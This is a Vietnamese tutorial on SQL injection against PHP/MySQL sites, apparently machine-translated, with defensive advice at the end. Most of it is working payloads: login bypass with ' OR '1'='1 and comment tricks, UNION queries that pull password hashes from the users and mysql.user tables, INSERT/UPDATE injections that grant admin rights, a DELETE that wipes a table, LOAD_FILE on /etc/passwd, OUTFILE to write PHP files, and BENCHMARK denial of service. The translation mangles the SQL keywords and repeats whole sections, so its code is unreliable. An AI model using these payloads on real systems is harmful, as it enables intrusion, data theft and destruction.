CHỌN * TỪ `news` WHERE` title` LIKE "%" / *% "HOẶC` text` LIKE "%" / *% "ORDER BY * / điều này sẽ nhận xét ra một trong các điều kiện và tham số ORDER
Bây giờ bạn có thể tham gia lại truy vấn bằng cách gán $ sort = * / UNION SELECT ....

Như một tùy chọn để khai thác lỗ hổng của tham số này:
CHỌN * TỪ ĐẶT HÀNG của `người dùng` THEO CHIỀU DÀI (mật khẩu); Cho phép bạn phân loại người dùng tùy thuộc vào độ dài của mật khẩu, miễn là nó được lưu trữ ở dạng "sạch".

Ủy quyền

Bây giờ chúng ta hãy thử xem xét các biến thể của SQL injection xảy ra trong quá trình cấp quyền của người dùng. Theo quy định, một yêu cầu kiểm tra tính hợp lệ của dữ liệu ủy quyền sẽ giống như sau:
CHỌN * TỪ `người dùng` WHERE` đăng nhập` = "$ đăng nhập" VÀ `mật khẩu` =" $ mật khẩu ";
trong đó $ đăng nhập và $ mật khẩu là các biến được chuyển từ biểu mẫu.

Một truy vấn như vậy trả về dữ liệu về người dùng trong trường hợp thành công và trong trường hợp thất bại, một kết quả trống.

Theo đó, để vượt qua ủy quyền, kẻ tấn công phải sửa đổi yêu cầu theo cách nó trả về kết quả khác 0 là đủ. Thông tin đăng nhập được đặt, tương ứng với người dùng thực và thay vì mật khẩu, "HOẶC" 1 "=" 1
Hoặc một số điều kiện thực sự
(1, "a" = "a", 1<>2, 3> 2, 1 + 1, ISNULL (NULL), 2 IN (0,1,2), 2 GIỮA 1 VÀ 3)

Theo đó, yêu cầu sẽ được hình thành như sau:
CHỌN * TỪ `người dùng` WHERE` đăng nhập` = "quản trị" VÀ `mật khẩu` =" "HOẶC" 1 "=" 1 "; mà sẽ trả về kết quả, và kết quả là, sẽ dẫn đến việc ủy ​​quyền trái phép. Điều gì sẽ xảy ra nếu mật khẩu trong cơ sở dữ liệu được băm? Sau đó, kiểm tra mật khẩu chỉ đơn giản là "vô hiệu hóa" bằng cách bình luận mọi thứ sau khi `đăng nhập`. Trong biểu mẫu, thay vì đăng nhập, thông tin đăng nhập của người dùng thực được chỉ định và "# do đó nhận xét kiểm tra mật khẩu.

CHỌN * TỪ `người dùng` WHERE` đăng nhập` = "quản trị" # "VÀ` mật khẩu` = "12345"

cách khác là "HOẶC` id` = 2 #

CHỌN * TỪ `người dùng` WHERE` đăng nhập` = "" HOẶC `id` = 2 #" VÀ `mật khẩu` =" 12345 "
Do đó, bạn có thể vượt qua ủy quyền mà không cần biết thông tin đăng nhập thực. Trường hợp với
CHỌN * TỪ `người dùng` WHERE` đăng nhập` = "" HOẶC `quản trị` = 1 #" VÀ `mật khẩu` =" 12345 "cho phép bạn đăng nhập với quyền quản trị.

Một sai lầm lớn là kiểm tra mật khẩu như sau:
CHỌN * TỪ `người dùng` TẠI ĐÂU` đăng nhập` = "$ đăng nhập" VÀ `mật khẩu` THÍCH
"$ password" vì trong trường hợp này, mật khẩu% phù hợp với bất kỳ thông tin đăng nhập nào

CHÈN & CẬP NHẬT

Tuy nhiên, CHỌN không phải là lỗ hổng SQL duy nhất. INSERT và UPDATE có thể dễ bị tổn thương hơn.

Giả sử trang web có khả năng đăng ký người dùng. Truy vấn thêm người dùng mới:
CHÈN VÀO `người dùng` (` đăng nhập`, `mật khẩu`,` quản trị`) GIÁ TRỊ ("người dùng",
"mật khẩu", 0); Lỗ hổng của một trong các trường cho phép bạn sửa đổi yêu cầu với dữ liệu cần thiết.

Trong trường đăng nhập, hãy thêm người dùng "," mật khẩu ", 1) # do đó thêm một người dùng có quyền quản trị.
CHÈN VÀO `người dùng` (` đăng nhập`, `mật khẩu`,` quản trị`) GIÁ TRỊ ("người dùng", "mật khẩu", 1) #, "mật khẩu", 0); Giả sử rằng trường `quản trị` nằm trước trường` đăng nhập`, vì vậy thủ thuật thay thế dữ liệu đứng sau trường `đăng nhập` không hoạt động. Chúng tôi nhớ lại rằng cú pháp của lệnh INSERT cho phép bạn thêm không chỉ một dòng mà còn nhiều dòng.

Ví dụ về lỗ hổng trong trường đăng nhập:
$ đăng nhập = người dùng "," mật khẩu "), (1," hacker "," mật khẩu ") #
CHÈN VÀO `người dùng` (` quản trị`, `đăng nhập`,` mật khẩu`) GIÁ TRỊ (0, "người dùng",
"password"), (1, "hacker", "password") # "," password ");

Do đó, 2 mục được tạo, một mục có quyền của người dùng đơn giản, mục còn lại có quyền quản trị mong muốn.

Tình huống tương tự với UPDATE

Thêm các trường bổ sung để thay đổi:
$ login = ",` password` = "", `admin` =" 1
Sau đó, một truy vấn tương tự
CẬP NHẬT `người dùng` SET` đăng nhập` = "ấm đun nước" WHERE `id` = 2;
Được sửa đổi như sau:
CẬP NHẬT `users` SET` login` = "", `password` =" ",` admin` = "1" WHERE `id` = 2;
Chuyện gì sẽ xảy ra? Người dùng có ID 2 sẽ thay đổi thông tin đăng nhập và mật khẩu thành các giá trị trống và nhận quyền quản trị.

Hoặc trong trường hợp

$ đăng nhập = ",` password` = "" WHERE `id` = 1 #

Tên người dùng và mật khẩu quản trị viên sẽ trống.

XÓA BỎ

ở đây mọi thứ đều đơn giản, không có dữ liệu nào có thể lấy được hoặc thay đổi, nhưng bạn luôn được thoải mái xóa phần thừa.
$ id = 1 HOẶC 1 = 1
Và yêu cầu
XÓA KHỎI `news` WHERE` id` = 1 HOẶC 1 = 1; sẽ xóa tất cả các bản ghi trong bảng.

Thay vì 1 = 1, có thể có bất kỳ điều kiện đúng nào, đã được đề cập ở trên. Có thể lưu tham số LIMIT, tham số này sẽ giới hạn số dòng bị xóa, nhưng không phải lúc nào cũng có thể nhận xét đơn giản.

XÓA KHỎI `news` WHERE` id` = 1 OR 1 = 1 # LIMIT 1;

Làm việc với các tệp thông qua SQL injection.

Tôi thực sự nghi ngờ rằng điều này có thể xảy ra ở đâu đó, nhưng công bằng mà nói thì cần phải mô tả các phương pháp như vậy. Với đặc quyền tệp được bật, các lệnh LOAD_FILE và OUTFILE có thể được sử dụng.

Sự nguy hiểm của chúng có thể được đánh giá từ các truy vấn sau:
SELECT * FROM `news` WHERE` id` = -1 union select null, LOAD_FILE ("/ etc / passwd"), null, null;
SELECT * FROM `news` WHERE` id` = -1 union select
null, LOAD_FILE ("/ home / test / www / dbconf.php"), null, null;

Nhưng đây không phải là kết thúc của tất cả những rắc rối.
CHỌN * TỪ `news` WHERE` id` = -1 union select null, "", null, null FROM `news` vào outfile
"/home/test/www/test.php";
Đây là cách chúng tôi viết một tệp có chứa mã php. Đúng, ngoài mã, sẽ có thêm một số mục nhập rỗng trong đó, nhưng điều này sẽ không ảnh hưởng đến hiệu suất của mã php.

Tuy nhiên, có một số điều kiện mà các phương pháp này sẽ hoạt động:

Đã bật đặc quyền FILE cho người dùng cơ sở dữ liệu hiện tại;

Quyền đọc hoặc ghi các tệp này cho người dùng mà máy chủ MySQL đang chạy

đường dẫn tuyệt đối đến tệp;
một điều kiện ít quan trọng hơn - kích thước tệp phải nhỏ hơn max_allowed_packet, nhưng vì trong MySQL 3.23 kích thước của gói lớn nhất
có thể là 16 MB và trong phiên bản 4.0.1 trở lên, kích thước gói chỉ bị giới hạn bởi dung lượng bộ nhớ khả dụng, tối đa lý thuyết tối đa là 2 GB, điều kiện này thường luôn có sẵn.

dấu ngoặc kép

Dấu ngoặc kép làm cho không thể sử dụng SQL injection trong các biến chuỗi, vì nó tự động thoát khỏi tất cả "cái đó" đi kèm với $ _GET và $ _POST.

Nhưng điều này không áp dụng cho việc sử dụng lỗ hổng trong các tham số số nguyên hoặc phân số, mặc dù với sửa đổi rằng nó sẽ không thể sử dụng ". Trong trường hợp này, hàm char sẽ giúp ích.
CHỌN * TỪ `news` WHERE` id` = -1 ĐOÀN KẾT CHỌN
null, char (116,101,115,116), null, null;

DOS thông qua SQL injection.

Tôi gần như đã quên nói và các chuyên gia SQL sẽ xác nhận rằng hoạt động UNION chỉ có thể thực hiện được trong MySQL> = 4.0.0. Những người có dự án trên các phiên bản trước thở phào nhẹ nhõm :) Nhưng không phải cái gì cũng an toàn như thoạt nhìn đâu. Logic của kẻ tấn công đôi khi rất khó làm theo. "Sẽ không thể bị hack, vì vậy ít nhất
Tôi sẽ điền vào "tin tặc sẽ nghĩ, nhập hàm BENCHMARK cho một truy vấn ví dụ
CHỌN * TỪ `news` WHERE` id` = BENCHMARK (1000000, MD5 (NOW ()));
được thực hiện cho tôi từ 12 đến 15 giây. Thêm số 0 - 174 giây. Để biết thêm, tôi chỉ đơn giản là không giơ tay.

Tất nhiên, trên các máy chủ mạnh, những việc như vậy sẽ được thực hiện nhanh hơn nhiều, nhưng ... BENCHMARK cho phép bạn tự lồng từng cái một.

Như thế này:
CHỌN * TỪ `news` WHERE` id` = BENCHMARK (1000000, BENCHMARK (1000000, MD5 (NOW ())));
Hoặc thậm chí như thế này
CHỌN * TỪ `tin tức` WHERE
`id` = BENCHMARK (1000000, BENCHMARK (1000000, BENCHMARK (1000000, MD5 (NOW ()))));
Và số lượng các số 0 chỉ bị giới hạn bởi "lòng tốt" của người quay số chúng.

Tôi nghĩ rằng ngay cả một cỗ máy RẤT mạnh cũng sẽ không thể dễ dàng nuốt được những yêu cầu như vậy.

Kết quả

Đó là tất cả. Trong bài viết này, tôi đã cố gắng che càng nhiều càng tốt các lỗ hổng mà các lập trình viên cho phép khi tạo chương trình sử dụng cơ sở dữ liệu MySQL. Tuy nhiên, tôi chắc chắn rằng nó còn xa
không phải là một danh sách đầy đủ.
Do đó, điều quan trọng là phải nhớ một số quy tắc:

Đừng tin vào BẤT KỲ dữ liệu nào đến từ người dùng.

Đây không chỉ là về dữ liệu được truyền bởi các mảng $ _GET và $ _POST. Đừng quên về $ _COOKIE và các phần khác của tiêu đề HTTP. Cần nhớ rằng chúng rất dễ thay thế.

Đừng dựa vào tùy chọn "dấu ngoặc kép" của PHP

Đó có lẽ là một trở ngại nhiều hơn là một sự giúp đỡ. Tất cả dữ liệu được chuyển đến cơ sở dữ liệu phải được đánh máy với các trường
Cơ sở dữ liệu. ($ id = (int) $ _ GET ["id"]) hoặc được bảo vệ bởi các hàm mysql_escape_string hoặc mysql_real_escape_string.

mysql_real_escape_string không thoát% và _, vì vậy nó không nên được sử dụng cùng với LIKE.

Cũng đừng quá tin tưởng vào một mod_rewrite được viết tốt. Đây chỉ là những cách để tạo URL "tiện lợi", nhưng chắc chắn không phải là cách để bảo vệ khỏi việc tiêm SQL.

Tắt báo cáo lỗi.

Đừng giúp những vị khách xấu. Ngay cả khi một lỗi được phát hiện, việc thiếu thông tin về nó sẽ gây trở ngại nghiêm trọng cho ứng dụng của nó. Hãy nhớ sự khác biệt giữa giai đoạn phát triển và bản thảo đang làm việc. Lỗi đầu ra và thông tin chi tiết khác - đồng minh của bạn ở giai đoạn phát triển, và đồng minh của kẻ tấn công trong phiên bản làm việc. Bạn cũng không nên ẩn chúng bằng cách comment trong mã HTML, cứ 1000 người truy cập thì sẽ có 1 người tìm thấy những thứ như vậy.

Xử lý lỗi.

Viết quá trình xử lý các truy vấn SQL theo cách mà thông tin về chúng được lưu trữ trong một số nhật ký hoặc được gửi qua thư.

Không lưu trữ dữ liệu truy cập cơ sở dữ liệu trong các tệp không được phân tích cú pháp thành mã bởi PHP.

Tôi nghĩ rằng tôi đã không khám phá ra nước Mỹ cho bất kỳ ai, nhưng từ kinh nghiệm của riêng tôi, tôi có thể nói rằng thực tế này khá phổ biến. Theo quy định, đây là tệp có phần mở rộng * .inc

Không tạo cơ sở dữ liệu "superuser".

Chỉ cấp các quyền bạn cần để thực hiện các tác vụ cụ thể.

Trong tìm kiếm, cần hạn chế số lượng ký tự tối thiểu và tối đa là tham số truy vấn.

Đối với một người dùng trung thực, từ 3 đến 60-70 ký tự là khá đủ để đáp ứng sở thích tìm kiếm của họ, đồng thời bạn cảnh báo các tình huống khi tập "Chiến tranh và hòa bình" trở thành một truy vấn tìm kiếm.

Luôn kiểm tra số lượng bản ghi được trả về sau một truy vấn

Gần 90% các trang web được viết bằng php một lỗi logic như vậy xảy ra, đặc biệt là khi một yêu cầu được thực hiện dựa trên ID nhận được từ người dùng, nếu bạn cấp cho tập lệnh một ID không tồn tại theo cách thủ công - chúng tôi sẽ thấy kết quả khá thú vị của một số tập lệnh, thay vì trả về 404, chương trình tốt nhất sẽ không làm gì cả và hiển thị trong trang sạch của trình duyệt.

SQL an toàn cho bạn;)

Mọi thứ được mô tả trong bài báo được thực hiện dưới dạng thử nghiệm trên cơ sở dữ liệu thử nghiệm thuộc sở hữu của tác giả bài báo. Không có dữ liệu của người khác bị phá hủy hoặc thay đổi.

Tác giả của bài báo không chịu trách nhiệm về việc sử dụng các phương pháp được mô tả trong bài viết này, vì người ta cho rằng nó được viết để thông báo về các lỗ hổng của các chương trình được viết bằng cơ sở dữ liệu MySql.

SQL injection- đây là một trong những cách hợp lý nhất để hack một trang web.
Bản chất của những lần tiêm như vậy là việc đưa mã SQL tùy ý vào dữ liệu (được truyền qua GET, yêu cầu POST hoặc giá trị Cookie). Nếu trang web dễ bị tấn công và thực hiện việc tiêm như vậy, thì trên thực tế, có thể làm bất cứ điều gì với cơ sở dữ liệu (thường là MySQL).

Làm thế nào để tìm một lỗ hổng cho phép SQL injection?

Khá dễ. Ví dụ: có một trang thử nghiệm test.ru. Trang web hiển thị một danh sách các tin tức, với khả năng xem chi tiết. Địa chỉ của trang có mô tả chi tiết về tin tức có dạng như sau: test.ru/?detail=1. Tức là, thông qua một yêu cầu GET, biến chi tiết chuyển giá trị 1 (là định danh bản ghi trong bảng tin tức).

Thay đổi yêu cầu GET thành? Detail = 1 "hoặc? Detail = 1". Tiếp theo, chúng tôi cố gắng gửi những yêu cầu này đến máy chủ, tức là chúng tôi truy cập test.ru/?detail=1 "hoặc test.ru/?detail=1".

Nếu lỗi xảy ra khi truy cập các trang này, thì trang đó dễ bị chèn SQL.

Ví dụ về lỗi xảy ra khi kiểm tra lỗ hổng

Có thể đưa vào SQL (SQL injection)
1) Những điều đơn giản nhất là gấp điều kiện WHERE thành một kết quả đúng cho bất kỳ giá trị tham số nào.
2) Đính kèm kết quả của một truy vấn khác với một truy vấn. Điều này được thực hiện thông qua toán tử UNION.
3) Nhận xét một phần của yêu cầu.

Luyện tập. Các tùy chọn để hack một trang web có lỗ hổng trong SQL injection

Vì vậy, chúng tôi đã đề cập đến trang web test.ru. Cơ sở dữ liệu lưu trữ 4 tin tức, 3 trong số đó được hiển thị. Quyền xuất bản tin tức phụ thuộc vào tham số công khai (nếu tham số chứa giá trị 1 thì tin tức được xuất bản).

Danh sách tin tức được phép xuất bản

Khi truy cập vào trang test.ru/?detail=4, nơi sẽ hiển thị mục tin tức thứ tư, một lỗi xuất hiện - không tìm thấy mục tin tức.
Trong trường hợp của chúng tôi, tin tức tồn tại, nhưng nó bị cấm xuất bản.

Nhưng vì chúng tôi đã kiểm tra trang web để tìm lỗ hổng bảo mật và nó báo lỗi cơ sở dữ liệu, chúng tôi đang cố gắng sắp xếp thông qua các tùy chọn truy vấn có thể có.
Trong thanh địa chỉ, dấu cộng (+) đóng vai trò như một khoảng trắng, vì vậy đừng sợ

Tôi đang thử nghiệm các tùy chọn sau:
test.ru/?detail=4+OR+1
test.ru/?detail=4+--
test.ru/?detail=4+UNION+SELECT+ * + FROM + news + WHERE + id = 4

Kết quả là may mắn đã mỉm cười và hai yêu cầu (yêu cầu thứ nhất và thứ ba) đã trả về cho chúng ta một bản mô tả chi tiết về tin tức thứ tư

Phân tích cú pháp ví dụ từ bên trong

Khối mã có trách nhiệm nhận được mô tả chi tiết của tin tức:
$ detail_id = $ _ NHẬN ["detail"];
$ zapros = "CHỌN * TỪ` $ table_news` WHERE `public` =" 1 "VÀ` id` = $ detail_id ĐẶT HÀNG THEO `vị trí` DESC";

$ Detail_id không chỉ nhận được một giá trị mà không cần bất kỳ quá trình xử lý nào, mà cả cấu trúc `id` = $ detail_id cũng được viết một cách quanh co, tốt hơn là nên bám vào` id` = "$ detail_id" (tức là viết giá trị được so sánh bằng dấu nháy đơn thẳng) .

Xem xét yêu cầu nhận được khi truy cập trang thông qua test.ru/?detail=4+OR+1

CHỌN * TỪ `news` WHERE` public` = "1" VÀ `id` = 4 HOẶC 1 LỆNH THEO` vị trí` DESC

Không hoàn toàn rõ ràng tại sao tin tức thứ 4 được hiển thị. Vấn đề là truy vấn trả về tất cả các bản ghi từ bảng tin tức, được sắp xếp theo thứ tự giảm dần từ trên xuống. Và do đó, tin tức thứ 4 của chúng tôi hóa ra là tin tức đầu tiên, và nó cũng được hiển thị dưới dạng chi tiết. Đó chỉ là một sự trùng hợp ngẫu nhiên.

Hãy phân tích yêu cầu được tạo khi truy cập qua test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4.

Ở đây, tên của bảng có tin tức (trong trường hợp của chúng tôi là tin tức) đã được lấy bằng cách liệt kê lôgic.
Vì vậy, truy vấn là SELECT * FROM `news` WHERE` public` = "1" VÀ `id` = 4 UNION SELECT * FROM news WHERE id = 4 ORDER BY` position` DESC. Kết quả bằng không của phần đầu tiên của truy vấn (trước UNION) được nối với kết quả của phần thứ hai (sau UNION), trả về mô tả chi tiết của mục tin tức thứ 4.

Bảo vệ chống lại sự tiêm SQL (SQL injection)

Bảo vệ chống lại tấn công bắt nguồn từ quy tắc cơ bản của "tin tưởng nhưng xác minh". Bạn cần kiểm tra mọi thứ - số, chuỗi, ngày tháng, dữ liệu ở các định dạng đặc biệt.
Con số
Để kiểm tra một biến cho giá trị số, hãy sử dụng hàm is_numeric (n);, hàm này sẽ trả về true nếu tham số n là một số và false nếu ngược lại.
Bạn cũng không thể kiểm tra giá trị cho một số mà ghi đè kiểu theo cách thủ công. Dưới đây là một ví dụ xác định lại giá trị $ id nhận được từ $ _GET ["id_news"] thành giá trị kiểu số nguyên (integer):
$ id = (int) $ _ GET ["id_news"];
Dây
Hầu hết các vụ hack SQL xảy ra do các chuỗi chứa dấu ngoặc kép, dấu nháy đơn và các ký tự đặc biệt khác "không an toàn". Để thực hiện việc này, bạn cần sử dụng hàm addlash ($ str);, hàm này trả về chuỗi $ str với một dấu gạch chéo ngược (\) được thêm vào trước mỗi ký tự đặc biệt. Quá trình này được gọi là sàng lọc.

$ a = "ví dụ văn bản có dấu nháy đơn" ";
echo bổ sung ($ a); // sẽ được hiển thị: văn bản mẫu có dấu nháy đơn \ "

Ngoài ra, có hai hàm được tạo riêng để thoát chuỗi được sử dụng trong câu lệnh SQL.
Đây là mysql_escape_string ($ str); và mysql_real_escape_string ($ str) ;.

Phương thức đầu tiên không tính đến việc mã hóa kết nối với cơ sở dữ liệu và có thể bị bỏ qua, nhưng phương thức thứ hai tính đến nó và tuyệt đối an toàn. mysql_real_escape_string ($ str); trả về chuỗi $ str có dấu gạch chéo ngược được nối vào các ký tự sau: \ x00, \ n, \ r, \, "," và \ x1a.

Dấu ngoặc kép

Dấu ngoặc kép - hiệu ứng của việc tự động thay thế một câu trích dẫn bằng một dấu gạch chéo ngược (\) và một câu trích dẫn trong các hoạt động I / O. Một số cấu hình PHP có tùy chọn này được bật và một số thì không. Để tránh các ký tự thoát kép và thoát dữ liệu thông thường qua mysql_real_escape_string ($ str) ;, bạn cần loại bỏ dấu gạch chéo ngược tự động (nếu dấu ngoặc kép được bật).

Kiểm tra xem các dấu ngoặc kép có được đưa vào cho dữ liệu nhận được từ GET, POST hoặc Cookie hay không được tổ chức thông qua hàm get_magic_quotes_gpc (); (trả về 1 nếu dấu ngoặc kép được kích hoạt, 0 nếu chúng bị tắt).

Nếu dấu ngoặc kép được bao gồm (nghĩa là dấu gạch chéo ngược được thêm vào) và điều này xảy ra thường xuyên hơn, thì chúng nên được loại bỏ. Điều này được thực hiện thông qua hàm dải gạch chéo ($ str);. (trả về chuỗi $ str không có dấu gạch chéo ngược trong dấu ngoặc kép và dấu nháy đơn thẳng).

Cuối cùng, tôi cung cấp mã với đầy đủ sàng lọc các chuỗi để ghi vào cơ sở dữ liệu

If (get_magic_quotes_gpc () == 1)
{
$ element_title = striplashes (trim ($ _ POST ["element_title"]));
$ element_text = striplashes (trim ($ _ POST ["element_text"]));
$ element_date = striplashes (trim ($ _ POST ["element_date"]));
}
khác
{
$ element_title = trim ($ _ POST ["element_title"]);
$ element_text = trim ($ _ POST ["element_text"]);
$ element_date = trim ($ _ POST ["element_date"]);
}

$ element_title = mysql_real_escape_string ($ element_title);
$ element_text = mysql_real_escape_string ($ element_text);
$ element_date = mysql_real_escape_string ($ element_date);

Bài báo được biên soạn trên cơ sở các kỹ năng thực hành trong việc bảo vệ hệ thống web. Lý thuyết là tốt, nhưng thực hành quan trọng hơn và quan trọng nhất là nó hoạt động.

Bất cẩn và không chú ý là hai lý do viết mã dễ bị SQL injection. Lý do thứ ba - sự thiếu hiểu biết, nên khuyến khích lập trình viên đào sâu kiến ​​thức của mình hoặc thậm chí thay đổi nghề nghiệp của mình.

SQL injection ( SQL injection) - lỗ hổng phát sinh từ việc xác minh và xử lý dữ liệu không đầy đủ, được chuyển từ người dùng và cho phép bạn sửa đổi và thực thi các truy vấn SQL mà mã chương trình không mong đợi.

SQL injection là một lỗ hổng bảo mật phổ biến trên Internet, rất dễ bị khai thác mà không cần phần mềm đặc biệt và không yêu cầu kiến ​​thức kỹ thuật sâu. Việc khai thác lỗ hổng này mang lại cơ hội lớn như:

  • đánh cắp dữ liệu - 80%;
  • từ chối dịch vụ, 10 phần trăm;
  • thay thế hoặc phá hủy dữ liệu - 2-3%;
  • những dịp và ý định khác.

Ngoài ra còn có các chương trình khác nhau để kiểm tra tính bảo mật của trang web cho tất cả các loại JS và SQL injection.

Giải thích chi tiết

Trong bài viết này, tôi sẽ cố gắng giải thích những rủi ro chính phát sinh khi tương tác giữa và cơ sở dữ liệu MySQL. Để rõ ràng, tôi sẽ đưa ra một ví dụ về cấu trúc cơ sở dữ liệu đơn giản, điển hình cho hầu hết các dự án:

TẠO CƠ SỞ DỮ LIỆU `news`; SỬ DỤNG `tin tức`; # # news table # CREATE TABLE `news` (` id` int (11) NOT NULL auto_increment, `title` varchar (50) default NULL,` date` datetime default NULL, `text` text, PRIMARY KEY (` id` )) TYPE = MyISAM; # # thêm một số dữ liệu # INSERT `news` SET` id` = "1", `title` =" first news ",` date` = "2005-06-25 16:50:20", `text` =" văn bản mới ”; CHÈN `news` SET` id` = "2", `title` =" tin tức thứ hai ",` date` = "2005-06-24 12:12:33", `text` =" tin tức thử nghiệm "; # # user table # CREATE TABLE `users` (` id` int (11) NOT NULL auto_increment, `login` varchar (50) default NULL,` password` varchar (50) default NULL, `admin` int (1) NULL DEFAULT "0", PRIMARY KEY (`id`)) TYPE = MyISAM; # # thêm nhiều người dùng, một người có quyền quản trị, đơn giản khác # CHÈN `người dùng` SET` id` = "1", `login` =" admin ",` password` = "qwerty", `admin` =" 1 " ; INSERT `users` SET` id` = "2", `login` =" user ",` password` = "1111", `admin` =" 0 ";

Chúng tôi thấy rằng yêu cầu được hình thành tùy thuộc vào giá trị của $ _GET ["id"]. Để kiểm tra lỗ hổng, chỉ cần thay đổi nó thành một giá trị có thể gây ra lỗi khi thực hiện truy vấn SQL.

Tất nhiên, có thể không có đầu ra lỗi, nhưng điều này không có nghĩa là không có lỗi, do đó

"Bạn có lỗi trong cú pháp SQL của mình; kiểm tra hướng dẫn sử dụng tương ứng với phiên bản máy chủ MySQL của bạn để biết cú pháp phù hợp để sử dụng gần "" "tại dòng 1"

hoặc kết quả

http://test.com/index.php?id=2-1

trong sự hiện diện của một lỗ hổng sẽ tạo ra một kết quả tương tự như

http://test.com/index.php?id=1.

Các lỗ hổng tương tự cho phép bạn sửa đổi yêu cầu trong mệnh đề WHERE. Điều đầu tiên kẻ tấn công sẽ làm khi phát hiện ra một lỗ hổng như vậy là kiểm tra xem có bao nhiêu trường được sử dụng trong yêu cầu. Để làm điều này, một id cố ý không chính xác được đặt để loại trừ đầu ra của thông tin thực và được kết hợp với một yêu cầu có cùng số trường trống.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

số lượng "null" phải khớp với số trường được sử dụng trong yêu cầu.

Nếu truy vấn ném ra một lỗi, một giá trị trống khác sẽ được thêm vào cho đến khi lỗi biến mất và kết quả có dữ liệu trống được trả về. Tiếp theo, các trường kết hợp được thay thế bằng các giá trị có thể quan sát trực quan trên trang.

Ví dụ:

http://test.com/index.php?id=-1+UNION+SELECT+null

bây giờ trên trang mà lẽ ra tiêu đề của tin tức phải được hiển thị, qwerty sẽ hiển thị.

Làm thế nào để tìm các phiên bản MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT + null, USER (), null, null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Làm cách nào để rút thông tin đăng nhập của người dùng cơ sở dữ liệu hiện tại?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Tên của cơ sở dữ liệu đang được sử dụng là gì?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Làm thế nào để lấy dữ liệu khác từ các bảng khác?

SELECT * FROM `news` WHERE` id` = -1 UNION SELECT null, `password`, null, null FROM` users` WHERE `id` =" 1 ";

Bằng cách đơn giản như vậy, họ tìm ra mật khẩu hoặc mã băm của mật khẩu quản trị. Nếu người dùng hiện tại có quyền truy cập vào cơ sở dữ liệu “mysql”, kẻ tấn công sẽ lấy được mã băm mật khẩu quản trị viên mà không gặp bất kỳ sự cố nào.

http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Bây giờ việc lựa chọn của anh ấy chỉ là vấn đề thời gian.

Tìm kiếm

Tìm kiếm là một trong những nơi dễ bị tấn công nhất, vì một số lượng lớn các tham số truy vấn được truyền cùng một lúc. Ví dụ về truy vấn đơn giản tìm kiếm từ khóa:

CHỌN * TỪ `news` WHERE` title` LIKE "% $ search%" HOẶC `text` LIKE"% $ search% "

$ search là một từ được gửi từ biểu mẫu. Kẻ tấn công có thể chuyển $ search = "# vào biến, bây giờ truy vấn sẽ giống như sau:

CHỌN * TỪ `news` WHERE` title` LIKE "%" #% "HOẶC` text` LIKE "%" #% ";

Theo đó, thay vì kết quả tìm kiếm cho từ khóa, tất cả dữ liệu sẽ được hiển thị. Nó cũng cho phép bạn sử dụng tính năng tổng hợp truy vấn được mô tả ở trên.

Sử dụng Tham số ĐẶT HÀNG

Bạn thường có thể thấy rằng khi nhập các tham số tìm kiếm hoặc hiển thị thông tin, chúng cho phép người dùng sắp xếp dữ liệu theo các trường nhất định. Tôi sẽ nói ngay rằng việc khai thác lỗ hổng này không quá nguy hiểm, vì nó sẽ gây ra lỗi khi cố gắng kết hợp các yêu cầu, tuy nhiên, khi ghép nối với các lỗ hổng trong các lĩnh vực khác, sẽ có nguy cơ bình luận ra thông số này.

http://test.com/index.php?sort=name

tham số ORDER được hình thành tùy thuộc vào biến $ sort

Yêu cầu sau sẽ được tạo:

CHỌN * TỪ `news` WHERE` title` LIKE "%" / *% "HOẶC` text` LIKE "%" / *% "ĐẶT HÀNG BẰNG * /

do đó một trong các điều kiện và tham số ORDER được nhận xét

Bây giờ bạn có thể tham gia lại truy vấn bằng cách gán $ sort = * / UNION SELECT ...

Như một tùy chọn để khai thác lỗ hổng của tham số này:

CHỌN * TỪ ĐẶT HÀNG của `người dùng` THEO CHIỀU DÀI (mật khẩu);

Cho phép bạn phân loại người dùng tùy thuộc vào độ dài của mật khẩu, miễn là nó được lưu trữ ở dạng "sạch".

Ủy quyền

Bây giờ chúng ta hãy thử xem xét các biến thể của SQL injection xảy ra trong quá trình cấp quyền của người dùng. Theo quy định, một yêu cầu kiểm tra tính hợp lệ của dữ liệu ủy quyền sẽ giống như sau:

CHỌN * TỪ `người dùng` WHERE` đăng nhập` = "$ đăng nhập" VÀ `mật khẩu` =" $ mật khẩu ";

trong đó $ đăng nhập và $ mật khẩu là các biến được chuyển từ biểu mẫu. Một truy vấn như vậy trả về dữ liệu về người dùng trong trường hợp thành công và trong trường hợp thất bại, một kết quả trống. Theo đó, để vượt qua ủy quyền, kẻ tấn công phải sửa đổi yêu cầu để nó trả về kết quả khác 0 là đủ. Thông tin đăng nhập được chỉ định tương ứng với người dùng thực và thay vì mật khẩu, "HOẶC" 1 "=" 1 Hoặc một số điều kiện đúng (1, "a" = "a", 1<>2, 3> 2, 1 + 1, ISNULL (NULL), 2 IN (0,1,2), 2 GIỮA 1 VÀ 3). Theo đó, yêu cầu sẽ được hình thành như sau:

CHỌN * TỪ `người dùng` WHERE` đăng nhập` = "quản trị" VÀ `mật khẩu` =" "HOẶC" 1 "=" 1 ";

mà sẽ trả về kết quả, và kết quả là, sẽ dẫn đến việc ủy ​​quyền trái phép. Điều gì sẽ xảy ra nếu mật khẩu trong bảng được băm? Sau đó, kiểm tra mật khẩu chỉ đơn giản là "vô hiệu hóa" bằng cách nhận xét mọi thứ xuất hiện sau khi `đăng nhập`. Trong biểu mẫu, thay vì đăng nhập, thông tin đăng nhập của người dùng thực được chỉ định và "# do đó nhận xét kiểm tra mật khẩu.

CHỌN * TỪ `người dùng` WHERE` đăng nhập` = "quản trị" # "VÀ` mật khẩu` = "12345"

cách khác là "HOẶC` id` = 2 #

CHỌN * TỪ `người dùng` WHERE` đăng nhập` = "" HOẶC `id` = 2 #" VÀ `mật khẩu` =" 12345 "

CHỌN * TỪ `users` WHERE` đăng nhập` = "" HOẶC `admin` =" 1 "#" VÀ `mật khẩu` =" 12345 "

Một sai lầm lớn là kiểm tra mật khẩu như sau:

CHỌN * TỪ `người dùng` TẠI ĐÂU` đăng nhập` = "$ đăng nhập" VÀ `mật khẩu` THÍCH" $ password "

